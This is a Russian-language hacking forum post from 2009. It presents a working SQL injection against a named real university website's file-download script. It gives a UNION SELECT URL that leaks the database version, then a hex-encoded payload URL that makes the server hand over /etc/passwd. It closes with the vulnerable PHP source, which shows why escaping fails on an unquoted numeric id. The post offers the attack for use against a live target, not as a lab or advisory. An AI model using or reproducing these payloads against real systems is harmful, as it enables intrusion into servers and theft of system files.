
07.09.2009, 20:16
|
|
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме: 2075230
Репутация:
462
|
|
Думаю лучше к php иньекции отнести..хотя гугл говорит как sql иньекцию дак боян, но всё равно баг в другом скрипте!)
Интересная скуля, берёт имя файла из БД и даёт его на загрузку. (Я лично первый раз такое встречаю)
Код:
http://www.ces.fau.edu/OWLS08/presentations/presentations.php?id=-24+union+select+version()--
Идёт файл на загрузку, в имени файла вывод:
5.0.51a-3ubuntu5.4
подставим своё значение:
magic qutes = on, поэжтому захексим
Код:
http://www.ces.fau.edu/OWLS08/presentations/presentations.php?id=-24+union+select+0x2f6574632f706173737764--
И скачиваем /etc/passwd
presentations.php
PHP код:
error_reporting(0);
mysql_connect("localhost","*","*");
mysql_select_db( "owls08" );
error_reporting(1);
$id = mysql_real_escape_string( $_REQUEST['id'] );
$query="SELECT file from presentations where id=$id";
$result = mysql_query( $query ) or die( mysql_error() );
$row = mysql_fetch_array( $result );
$file = $row['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($file));
header( "Content-Description: File Transfer");
@readfile($file);
|
|
|